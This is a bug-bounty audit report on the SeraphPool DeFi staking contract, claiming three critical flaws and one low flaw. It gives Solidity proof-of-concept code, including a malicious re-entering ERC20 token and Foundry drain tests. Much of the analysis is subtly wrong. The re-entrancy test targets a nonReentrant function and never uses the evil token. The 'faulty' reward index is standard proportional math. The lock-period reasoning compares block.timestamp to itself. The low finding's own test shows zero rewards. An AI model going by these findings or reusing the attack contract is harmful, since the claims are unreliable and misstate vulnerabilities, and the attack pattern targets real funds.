SERAPH SMART CONTRACT - DEFI STAKING REPORT

About @Siddharth

I'm Siddharth, a blockchain enthusiast diving deep into the world of smart contract auditing . With a solid foundation in solidity and a keen eye for detail I'm committed to making Web3 space secure and efficient .

Audit details

```
https://github.com/SeraphAgent/seraph-staking-
contracts/blob/main/src/SeraphPool.sol
```

Scope :

```
├── src
│   ├── SeraphPool.sol
```

Tools Used :

- Slither
- Foundry

Summary

Prepared By : @Siddharth
Platform : Remedy | Bug Bounty
Date : JUNE-10-2025

No. of findings :

- Critical : 3
- Medium : 0
- Low : 1
- Info : 0

Findings :

1. [C1] Lack of token address Checks in `Claim` function leads to Fund loss and multiple Exploits
2. [C2] Faulty reward calculation in `claim` and `_calculateReward` functions
3. [C3] Immediate reward `Claiming` and `unstake` without any delays
4. [L1] Lack of Authorization Check in `Claim` function

[C1] Lack of Checks in `Claim` function leads to Fund loss and multiple Exploits

- In the function `claim` we are taking `tokenAddress` as a parameter but we are not checking it if its valid Address or not which is dangerous and it leads to malicious ERC20 token address which can perform various kind of Attacks.

Some of them :

- Re-entrancy attack
- Storage Griefing
- Non-stakers to claim rewards
- Unauthorized access to reward distribution

Vulnerable Code :

```
function claim(address[] calldata _tokenAddresses ) external nonReentrant
whenNotPaused {
        _updateRewards(msg.sender);

// lacks checks weather the token address valid or not

        for (uint256 i = 0; i < _tokenAddresses.length; i++) { ...
```

```
        //Rest of the code
```

PROOF OF CONCEPT

Re-entrancy attack

- Custom ERC20 token designed explicitly for exploitation in a reentrancy attack on `ISeraphPool`. This token leverages overridden transfer logic to reenter the staking pool's `claim` function during token transfers, potentially leading to denial-of-service (DoS), reward draining, or other unintended behaviors.

```
contract EvilStk is ERC20 {
    address public pool;
    bool public attackInProgress;

    constructor(address _pool) ERC20("Staking Token", "STK") {
        pool = _pool;
        _mint(msg.sender, 100 ether); // fund attacker with STK
        _mint(_pool, 10 ether); // reward pool balance
    }

    function setAttack() external {
        attackInProgress = true;
    }

    function transfer(
        address to,
        uint256 amount
    ) public override returns (bool) {
        if (attackInProgress) {
            attackInProgress = false; // avoid infinite loop
            address[] memory tokens = new address[](1);
            tokens[0] = address(this);
            ISeraphPool(pool).claim(tokens); // reenter here
        }
        return super.transfer(to, amount);
    }

}
```

Test Suit : For Re-entrancy :

This function tests a **reentrancy vulnerability** in a staking pool contract that allows an attacker to drain reward tokens with minimal stake.

Attack Flow :

1. **Setup Phase**: Owner whitelists a reward token and funds the pool with 50 tokens via `updateRewardIndex()`
2. **Minimal Stake**: Attacker stakes only 1 wei (smallest possible amount) to become eligible for rewards.
3. **Reentrancy Attack**:
   - Attacker deploys a malicious token contract (`EvilStk`) that implements reentrancy
   - When `pool.claim()` is called, the malicious contract's transfer function is triggered
   - During this transfer, it reenters the pool contract before the first claim transaction completes
   - This allows multiple reward claims before the pool's state is properly updated
4. **Impact Verification**: The test asserts that the attacker successfully drained more than half the pool's rewards despite contributing virtually nothing

```
function testDrain() public {

        address attacker = makeAddr("attacker");
        // 1. Owner whitelists reward token
        vm.prank(owner);
        pool.addRewardToken(address(rewardsToken1));

        // 2. Attacker stakes small amount to become eligible
        vm.startPrank(attacker);
        stakedToken.mint(attacker, 1e18);
        stakedToken.approve(address(pool), 1); // Small stake
        pool.stake(1);
        vm.stopPrank();

        // 3. Owner updates reward index with 500 tokens
        vm.startPrank(owner);
        rewardsToken1.approve(address(pool), 50e9);
        pool.updateRewardIndex(address(rewardsToken1), 50e9);
        vm.stopPrank();

        // 4. Attacker triggers reentrancy
        vm.startPrank(attacker);
        // Create malicious token that reenters during transfer
        EvilStk evilToken = new EvilStk(address(pool));
        evilToken.setAttack();
```

```
        address[] memory tokens = new address[](1);
        tokens[0] = address(rewardsToken1);

        // Attack via claim → reenters during transfer
        pool.claim(tokens);


        // 5. Assert pool drained, attacker took most rewards
        uint256 attackerBal = rewardsToken1.balanceOf(attacker);
        uint256 poolBal = rewardsToken1.balanceOf(address(pool));


   assertGt( attackerBal, poolBal, "Attacker should be able to drain more than half
the rewards with small stake" );

   assertLt( poolBal, attackerBal, "Pool should be significantly drained after
attack" );

        vm.stopPrank();
    }
```

Recommended Solution :

Add these checks after the loop in `claim` function to check weather the given addresses is in `Whitelisted` or `allowed` by owner in the contract

```
function claim(address[] calldata _tokenAddresses ) external nonReentrant
whenNotPaused {

      _updateRewards(msg.sender);

   for (uint256 i = 0; i < _tokenAddresses.length; i++) {
 +     if (!_isRewardTokenAllowed(_tokenAddresses[i])) {
        revert SeraphPool__RewardTokenNotAllowed();
    }
              //------ code ------//
```

[C2] Faulty reward calculation in `claim` and `_calculateReward`

The contract's **reward calculation mechanism** is fundamentally flawed, allowing stakers to claim rewards **disproportionate to their actual stake**. The owner controls the distribution of reward tokens through `updateRewardIndex`, but due to improper indexing logic, **small stakes can receive the entire reward pool**, creating an exploit opportunity.

Vulnerable Code :

```
function _calculateRewards(
        address _account,
        address _rewardToken
    ) private view returns (uint256) {
        uint256 stakeReward;
        if (rewardIndex[_rewardToken] > rewardIndexOf[_rewardToken][_account]) {
       stakeReward =
       (balanceOf[_account] *
      (rewardIndex[_rewardToken] - rewardIndexOf[_rewardToken][_account])) /
       MULTIPLIER;
    }

        return stakeReward;
    }
```

```
function updateRewardIndex(

        address _rewardToken,
        uint256 _rewardAmount
    ) external onlyOwner {
        if (!_isRewardTokenAllowed(_rewardToken))
            revert SeraphPool__RewardTokenNotAllowed();
        if (totalSupply == 0) revert SeraphPool__NoStakedTokens();

        rewardTotalSupply[_rewardToken] += _rewardAmount;
        IERC20(_rewardToken).safeTransferFrom(
            msg.sender,
           address(this),
            _rewardAmount
        );

    //@audit buggy calculation
```

```
        rewardIndex[_rewardToken] += (_rewardAmount * MULTIPLIER) / totalSupply;

        emit RewardIndexUpdated(_rewardToken, _rewardAmount);

    }
```

PROOF OF CONCEPT

This function tests a **reward calculation vulnerability** where stakers with minimal stakes receive disproportionately large rewards.

Test Flow :

1. **Setup Reward Token:** The owner enables a new reward token (`rewardsToken1`).
2. **Minimal Stake Attack:** A staker deposits **just 1 wei of STK**, an insignificant amount.
3. **Inject Rewards:** The owner adds **50 RWD1 tokens**, triggering a reward index update.
4. **Exploit Check:** The staker queries earned rewards and gets the **entire reward pool**, even though their stake is minimal.
5. **Assertion :** We check the earned mapping in the contract which holds the reward which are going to be given to stakers and it holds all the reward Supply in it , it clearly shows the Vulnerability

```
    function testInflatedRewardsBug() public {

        // Setup reward token
        vm.prank(owner);
        pool.addRewardToken(address(rewardsToken1));



        // Staker1 stakes very small amount of STK
        vm.startPrank(staker1);
        stakedToken.approve(address(pool), 1); // Just 1 wei of STK
        pool.stake(1);
        vm.stopPrank();
```

```
        // Add reward to pool (RWD1 tokens)
        uint256 rewardAmount = 50e9; // 50 RWD1 tokens
        vm.startPrank(owner);
        rewardsToken1.mint(owner, rewardAmount);
        rewardsToken1.approve(address(pool), rewardAmount);
        pool.updateRewardIndex(address(rewardsToken1), rewardAmount);
        vm.stopPrank();


        // Get earned rewards before claiming
        uint256 earnedBeforeClaim = pool.calculateRewardsEarned(
            staker1,
            address(rewardsToken1)
        );


        // Verify rewards are inflated
        assertEq(
            earnedBeforeClaim,
            rewardAmount,
            "Staker with tiny stake gets all rewards - this is wrong!"
        );

        vm.startPrank(staker1);
        address[] memory tokens = new address[](1);
        tokens[0] = address(rewardsToken1);
        pool.claim(tokens);
        vm.stopPrank();

    }
```

Recommended Solution :

- Rewards should be based on the proportion of total staked tokens, not on a fixed index calculated at the time rewards are set.
- You can use Time based proportional distribution of rewards

---

[C3] Immediate reward `Claiming` and `unstake` without any delays

Issue with `unstake` function :

In the contract, the variable `_minLockPeriod` is **not initialized anywhere**, which means it defaults to `0`. This affects the **stake** function, where the user's locking period is determined. Since `_minLockPeriod = 0`, the **lockEndTime mapping** simply stores the time when the user stakes.

However, in the **unstake** function, the contract checks `lockEndTime` to determine whether the required locking period has passed. The issue arises because `lockEndTime` **only records the staking timestamp** (which is always in the past). Since the require statement checks against `lockEndTime`, it **always return false**, causing the `if-else` statement to pass.

Key Issues:

1. `_minLockPeriod` is not set, defaulting to `0`.
2. `lockEndTime` incorrectly stores the staking timestamp instead of enforcing a locking period.
3. The `unstake` function's `if-else` check **always return false** because `lockEndTime` is never in the future.

Issue with `Claim` function :

The `claim` function lacks a check to ensure that stakers **can only claim rewards after a designated lock period has elapsed**. Without this restriction, a user can **stake tokens and immediately withdraw rewards**, bypassing the intended waiting period.

Impact

- **Instant Reward Exploit:** Users can **deposit tokens and claim rewards instantly**, allowing rapid cycling of staking and withdrawals without long-term commitment.
- **Unfair Distribution:** Intended long-term stakers **lose expected benefits**, as short-term stakers can repeatedly claim rewards without waiting.

Vulnerable Code :

```
function stake() :

        balanceOf[msg.sender] += _amount;
        lockEndTime[msg.sender] = block.timestamp + minLockPeriod;
```

```
function unstake(uint256 _amount) external nonReentrant {
   //@audit - this statement never pass
   if (block.timestamp < lockEndTime[msg.sender])
```

```
function claim( address[] calldata _tokenAddresses
   ) external nonReentrant whenNotPaused {
       _updateRewards(msg.sender);
       for (uint256 i = 0; i < _tokenAddresses.length; i++) {
       //------- code -------//
```

Issue Breakdown for `unStake` function :

This describes a **logical flaw in the unstake function**, where an incorrect timestamp comparison allows users to bypass the expected revert check.

- In the function, there is a conditional check:

  ```
  if (block.timestamp < block.timestamp)
  ```

- Since `block.timestamp` is different on both sides of the comparison (current block time / past time), this condition **always evaluates to false**.
- The false condition transforms the check into:

  ```
  if (false)
  ```

- In Solidity, an `if (false)` statement **never executes its inner code**, meaning the revert statement inside the block is completely **skipped**.
- As a result, users can **unstake their amount without being restricted by time-based conditions**, potentially allowing premature unstaking.

Impact :

- **Bypassing Lock Periods:** If unstaking is supposed to be restricted by a time lock, users can unstake **immediately** instead.
- **Potential Exploit Scenarios:** Attackers could deposit and withdraw tokens instantly, abusing reward mechanisms without proper staking commitment.

Proof of Concept :

- Test for `unstake`

```
function test_ImmediateUnstake() public {

        vm.startPrank(staker1);
        // Setup: staker1 approves and stakes tokens
        stakedToken.approve(address(pool), 1e18);
        pool.stake(1e18);

        // Try to unstake immediately - should NOT revert:
        pool.unstake(1e18);
        vm.stopPrank();
    }
```

- Test for `Claim`

```
function testEarlyClaimFails() public {

    // Setup reward tokens array
    address[] memory rewardTokens = new address[](1);
    rewardTokens[0] = address(rewardsToken1);

    // Add reward token to pool
    vm.prank(owner);
    pool.addRewardToken(address(rewardsToken1));

    // Setup staking
    vm.startPrank(staker1);
    stakedToken.approve(address(pool), 1e18);
    pool.stake(1e18);

    // Add some rewards
    vm.stopPrank();
    vm.prank(owner);
    rewardsToken1.approve(address(pool), 10e9);
    vm.prank(owner);
    pool.updateRewardIndex(address(rewardsToken1), 100e9);

    // Try to claim rewards immediately after staking
    // This should succeed but it shouldn't
```

```
    vm.prank(staker1);
    pool.claim(rewardTokens);

    // Verify rewards were claimed immediately
    assertEq(rewardsToken1.balanceOf(staker1), 1e15 + 10e9); // Original balance +
claimed rewards

}
```

Recommended Solution :

- This check is useful for both `claim` and `unstake` function to check

```
+ if (block.timestamp <= lockEndTime[msg.sender])
      revert SeraphPool__LockPeriodNotOver();
```

- Set the initial `lock Period` in constructor at the time of deployment it fixes the `unstake` false calculation

```
   constructor(
        address _stakingToken,
        uint256 _initialCap
+       `uint256 _minLockPeriod`

    ) Ownable(msg.sender) {
        stakingToken = IERC20(_stakingToken);
        stakingCap = _initialCap;
+       `minLockPeriod = _minLockPeriod`
    }
```

[L1] Lack of Authorization Check in `Claim` function

The `claim` function is **missing a crucial validation step**—it does not check whether `msg.sender` has actually staked tokens before attempting to claim rewards. This oversight allows **non-stakers to invoke the claim function**, potentially withdrawing unearned rewards without ever participating in the staking mechanism.

Impact :

- **Unauthorized Reward Claims:** A malicious user can **directly call `claim` without staking** and still **attempt to withdraw reward tokens**, effectively draining the reward pool.
- **Fairness Violation:** Honest stakers who have committed assets to the protocol **may lose their rightful rewards** to users who never staked anything.
- **Security Risk & Exploitable Behavior:** Attackers can **loop through fake claims**, rapidly draining assets that should only be accessible to legitimate participants.

Vulnerable Code :

```
function claim(address[] calldata _tokenAddresses ) external nonReentrant
whenNotPaused {
        _updateRewards(msg.sender);


// lacks checks if the msg.sender is staker or not

        for (uint256 i = 0; i < _tokenAddresses.length; i++) { ...
       //Rest of the code
```

PROOF OF CONCEPT

This function tests whether **non-stakers can claim rewards** without having any stake in the pool.

Requirement :

Some user have to stake earlier to in the pool then only we can enter in the function without staking

Test Flow :

1. **Pool Setup**:
   - Owner whitelists a reward token
   - Staker1 stakes 1 wei to establish the pool (legitimate minimal stake)
2. **Reward Distribution**:

- Owner adds 50 reward tokens to the pool via `updateRewardIndex()`
- These rewards are now available for distribution

3. **Unauthorized Claim Attempt**:
   - **Staker2 has never staked anything** in the pool
   - Staker2 attempts to call `pool.claim()` for the reward tokens
   - This return 0 , coz the function is get multiplied by 0 , staker cant claim anything because he didn't stake , but he can enter in the function
4. **Verification**:
   - Test checks `calculateRewardsEarned()` for staker2 returns 0
   - Confirms staker2 "entered" but his stake is 0 so its cant get anything from it .

```
function testClaimWithoutStaking() public {

        // Setup reward token
        vm.prank(owner);
        pool.addRewardToken(address(rewardsToken1));



        // Staker1 stakes very small amount of STK
        vm.startPrank(staker1);
        stakedToken.approve(address(pool), 1); // Just 1 wei of STK
        pool.stake(1);
        vm.stopPrank();



        // Add reward to pool (RWD1 tokens)
        uint256 rewardAmount = 50e9; // 50 RWD1 tokens
        vm.startPrank(owner);
        rewardsToken1.mint(owner, rewardAmount);
        rewardsToken1.approve(address(pool), rewardAmount);
        pool.updateRewardIndex(address(rewardsToken1), rewardAmount);
        vm.stopPrank();



        // Staker2
        vm.startPrank(staker2);
        address[] memory tokens = new address[](1);
        tokens[0] = address(rewardsToken1);
        pool.claim(tokens);
        vm.stopPrank();
```

```
        // Get earned rewards before claiming
        uint256 earnedBeforeClaim = pool.calculateRewardsEarned(
            staker2,
            address(rewardsToken1)
        );



        // Verify if non-staker entered or not
        assertEq(
            earnedBeforeClaim,
            0,
            "entered"
        );

    }
```

Recommended Solution :

Adds a check at the start of the claim function to verify the user has staked tokens same can be done in `unstake` function also .

```
+  if (balanceOf[msg.sender] == 0) revert SeraphPool__NoStakedTokens();
```